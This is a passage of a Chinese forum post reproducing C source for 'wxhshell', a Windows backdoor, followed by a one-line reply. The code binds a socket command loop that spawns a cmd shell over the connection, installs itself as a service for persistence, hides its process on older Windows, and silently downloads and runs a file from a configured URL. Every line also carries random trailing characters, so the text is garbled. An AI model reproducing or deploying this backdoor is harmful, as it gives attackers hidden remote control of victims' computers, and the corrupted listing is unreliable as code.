  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,C4gA(')K  
  else 58TH|Rj+I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); adi^*7Q] )  
  } y7iHB k"^:  
  else { /UwB6s(  
n U0  
    switch(cmd[0]) { -SyQ`V)T7N  
  i3bDU(GS  
  // 帮助 W3AtO  
  case '?': { UbWeE,T~S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bSK> p3  
    break; %Z:07|57I[  
  } S,Y\ox-  
  // 安装 `5J`<BPs  
  case 'i': { <B+xE?v4  
    if(Install()) itH` s<E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 17hFwo`  
    else ';HNQe?vT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k15fy"+Ut  
    break; hv]}b'M$  
    } orT%lHwjL  
  // 卸载 wD*z >v$  
  case 'r': { 0!Zp4>l\Z  
    if(Uninstall()) 0uw3[,I   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); **RW 9FU  
    else bcVzl]9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #$W bYL|  
    break; -#TF&-  
    } -XbO[_Wf  
  // 显示 wxhshell 所在路径 {pzu1*  
  case 'p': { 5V"Fy&}:  
    char svExeFile[MAX_PATH]; $|0?$U7!  
    strcpy(svExeFile,"\n\r"); 5eP0W#  
      strcat(svExeFile,ExeFile); [/P}1 c[)U  
        send(wsh,svExeFile,strlen(svExeFile),0); ~8rVf+bg3  
    break; VG)Y$S8.>  
    } 8w 2$H  
  // 重启 !)!<. x  
  case 'b': { <KBzZ !n5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4u!<3-3Zy  
    if(Boot(REBOOT)) <@+>A$~0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }3^b1D>2O  
    else { 4`KQ@m  
    closesocket(wsh); W*S !}ZT`  
    ExitThread(0); 7W7!X\0Y  
    } gwm}19JC  
    break; kdr?I9kwW  
    } !F^j\  
  // 关机 >Rnj6A|Q  
  case 'd': { FQ" ;v"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :o2^?k8k&#  
    if(Boot(SHUTDOWN)) bVLuv`A/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Uk2U:  
    else { *5Mg^}ZC5  
    closesocket(wsh); O8!> t7x  
    ExitThread(0); t;^NgkP{$  
    } Ke 5fe#  
    break; ?;q  
    } Y{Yp N  
  // 获取shell U\<8}+x  
  case 's': { &EZq%Sd  
    CmdShell(wsh); s#nd:$p3  
    closesocket(wsh); +"~~; J$  
    ExitThread(0); }3}{}w0Y  
    break; \!]Zq#*kH  
  } N9|v%-_?)  
  // 退出 ``Yw-|&:Ae  
  case 'x': { ]<Ugg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W5&;PkhQ6  
    CloseIt(wsh); o<pb!]1  
    break; G`Ix-dADJm  
    } lZ\8$,B)  
  // 离开 );m7;}gE  
  case 'q': { ~9tPT 0^+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sz7|2OV"  
    closesocket(wsh); p!XB\%sv'"  
    WSACleanup(); dxz.%a@PW  
    exit(1); D09/(%4j  
    break; t V]BcDp  
        } 96 oztUK  
  } ;$0)k(c9  
  } ME9jN{ le  
_ +"V5z  
  // 提示信息 t9Sog~:'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Z>O2  
} xn=/SIS  
  } 2X= pu. ;F  
O<:"Irq\qr  
  return; [|:kS  
} *j`{ K  
@~Uu]1  
// shell模块句柄 xUKn  
int CmdShell(SOCKET sock) BB>R=kt  
{ !_ng_,J  
STARTUPINFO si; YNRorE   
ZeroMemory(&si,sizeof(si)); <8'-azpJ6<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t+2!"Jr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Vk#wJ-  
PROCESS_INFORMATION ProcessInfo; byyzXRO;  
char cmdline[]="cmd"; 2G(RQ\Ro*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3BSJ|o<"=  
  return 0; 7*a']W{aJ  
} i6.HR?n  
+O2z&a;q  
// 自身启动模式 o'`:$ (  
int StartFromService(void) ipIexv1/S  
{ BS6UXAf{|Z  
typedef struct IpRdGT02  
{ R _c! ,y  
  DWORD ExitStatus; NDmTxW#g  
  DWORD PebBaseAddress; (B0tgg^jj,  
  DWORD AffinityMask; 5y1:oiE/  
  DWORD BasePriority; 1pM"j!  
  ULONG UniqueProcessId; RTEzcJ>  
  ULONG InheritedFromUniqueProcessId; A<+veqb4  
}   PROCESS_BASIC_INFORMATION; }H>}v/  
U^xz>:~  
PROCNTQSIP NtQueryInformationProcess; Jxq;Uu9  
3Dm`8Xt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7M#irCX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $v6`5;#u  
`!JcQ'u  
  HANDLE             hProcess;  $O)fHD'  
  PROCESS_BASIC_INFORMATION pbi; ]W7e2:Hra  
N N1(f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V1 H3}  
  if(NULL == hInst ) return 0; 2<  "-  
&* Aems{-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7a0kat '\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q#Vg5H4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V"r2 t9A  
ZbZCW:8>k  
  if (!NtQueryInformationProcess) return 0; zS6oz=  
 ^O9_dP:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Kb/w+J S  
  if(!hProcess) return 0; 8vuA`T!~G  
j~ 'a %P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qkg`4'rLg  
m7F"kD  
  CloseHandle(hProcess); bH7 lUS~  
Y >83G`*}b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I|SQhbi  
if(hProcess==NULL) return 0; lV*dQwa?i  
'H]&$AZ;@  
HMODULE hMod; #7Pnw.s3zz  
char procName[255]; q\`0'Z,  
unsigned long cbNeeded; >7[o=!^:4  
{Y(#<UDM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q8~|0X\.g  
%:DH _0  
  CloseHandle(hProcess); S%sD#0l  
E;m-^dxc  
if(strstr(procName,"services")) return 1; // 以服务启动 Ow@ }6&1  
/jtU<uX  
  return 0; // 注册表启动 '&OJ hLE  
} rZK;=\Ot  
uE]kv  
// 主模块 .wb[cCUQ  
int StartWxhshell(LPSTR lpCmdLine) bS!4vc1`2  
{ )5O E~}>  
  SOCKET wsl; @rV|7%u  
BOOL val=TRUE; SdJGhU  
  int port=0; 5xsGSoa+  
  struct sockaddr_in door; Kz>Bw;R(  
v95O)cC:W  
  if(wscfg.ws_autoins) Install(); /ZeN\ybx  
LO&/U4:  
port=atoi(lpCmdLine); Sp2<rI  
l, [cR?v  
if(port<=0) port=wscfg.ws_port; z :q9~  
[ 1$p}x  
  WSADATA data; GgNqci,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w|AHE  
YIc|0[ ]*|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WkF60'Hf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [`]h23vRW  
  door.sin_family = AF_INET; 7SyysH<H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vp.&X 8  
  door.sin_port = htons(port); !UV1OU  
]c=nkS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "3r7/>xy  
closesocket(wsl); QR#L1+Hn  
return 1; ,ezC}V0M  
} ?c;T4@mB  
~hk;OB;  
  if(listen(wsl,2) == INVALID_SOCKET) { .Z0$KQ'iy  
closesocket(wsl); e0nr dM[i  
return 1; ^s;xLGl]  
} *2(W`m  
  Wxhshell(wsl); ,2R7AHk  
  WSACleanup(); *\M$pUS{  
Ul`~d !3zH  
return 0; Q~y) V  
K4[X P]\jr  
} >B~vE2^tQ~  
?: XY3!{  
// 以NT服务方式启动 ylo/]pVs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @7fx0I'n  
{ Bw`7ND}&  
DWORD   status = 0; W7 .Y`u[  
  DWORD   specificError = 0xfffffff; &{5v[:$  
N"M?kk,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4L`<xX;:{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v[*&@aW0n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MB:VACCr  
  serviceStatus.dwWin32ExitCode     = 0; M#?^uu'  
  serviceStatus.dwServiceSpecificExitCode = 0; ^hN.FIzM  
  serviceStatus.dwCheckPoint       = 0; J,&B   
  serviceStatus.dwWaitHint       = 0; ^G*zFqa+`  
5{esL4k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #@v$`Df<  
  if (hServiceStatusHandle==0) return; GcpAj9  
G8Qo]E9-/  
status = GetLastError(); !i dQ-&  
  if (status!=NO_ERROR) @}r2xY1  
{ 8e:\T.)M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pT ;{05  
    serviceStatus.dwCheckPoint       = 0; .vm.g=-q  
    serviceStatus.dwWaitHint       = 0; (0c L! N;;  
    serviceStatus.dwWin32ExitCode     = status; ,m08t9F  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]%4rL S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @TWtM#  
    return; [Dv6z t>  
  } nG+L'SmI  
wRATe 0'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YM(` E9{h  
  serviceStatus.dwCheckPoint       = 0; M.(shIu!+  
  serviceStatus.dwWaitHint       = 0; 5IsRIz[`TK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j&qJK,~  
} `Qg#`  
r{Stsha(  
// 处理NT服务事件,比如:启动、停止 `n{yls7.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G=Qslrtg  
{ \`MX\OR  
switch(fdwControl) -y+u0,=p.  
{ >e4w8Svcy  
case SERVICE_CONTROL_STOP: >.fN@8[  
  serviceStatus.dwWin32ExitCode = 0; sA}Xha  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [:MpOl-KIz  
  serviceStatus.dwCheckPoint   = 0; [|NgrU_.  
  serviceStatus.dwWaitHint     = 0; +=qazE<:0  
  { fK'qc L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y unY'xY  
  } !6 k{]v  
  return; ' >F_y t9  
case SERVICE_CONTROL_PAUSE: |}O9'fyU8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $:aKb#l)  
  break; dl%KD8  
case SERVICE_CONTROL_CONTINUE: bns([F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R06zca  
  break; R'.YE;leBG  
case SERVICE_CONTROL_INTERROGATE: &M6cCT]&M  
  break; y9>?  
}; R\+O.vX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2S{IZ]  
} c[DC  
ju@5D h  
// 标准应用程序主函数 G|"`kAa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [p%OIqC`pB  
{ oV 7A"8L^a  
>h+G$&8[ y  
// 获取操作系统版本 02EbmP  
OsIsNt=GetOsVer(); T 5jZd@VT,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +EnJyli  
yzml4/X  
  // 从命令行安装 o (OC3  
  if(strpbrk(lpCmdLine,"iI")) Install(); -54  
fV` R7m.  
  // 下载执行文件 LhM{d  
if(wscfg.ws_downexe) { )%}?p2.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q%AD6G(7  
  WinExec(wscfg.ws_filenam,SW_HIDE); F%v?,`_&I  
} OFtAT@ =O  
'za4c4b*u  
if(!OsIsNt) { TN=MZ{L  
// 如果时win9x,隐藏进程并且设置为注册表启动 sT^^#$ub  
HideProc(); ,uFdhA(i@'  
StartWxhshell(lpCmdLine); nvyyV\w  
} 2yFXX9!@  
else 4/rd r80  
  if(StartFromService()) wF`9}9q  
  // 以服务方式启动 abvA*|  
  StartServiceCtrlDispatcher(DispatchTable); ),K!| 7#h  
else P]pVYX# m  
  // 普通方式启动 D-zqu~f`  
  StartWxhshell(lpCmdLine); otsINAizgS  
rdL>yT/A  
return 0; `B^ HW8  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录 或 注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五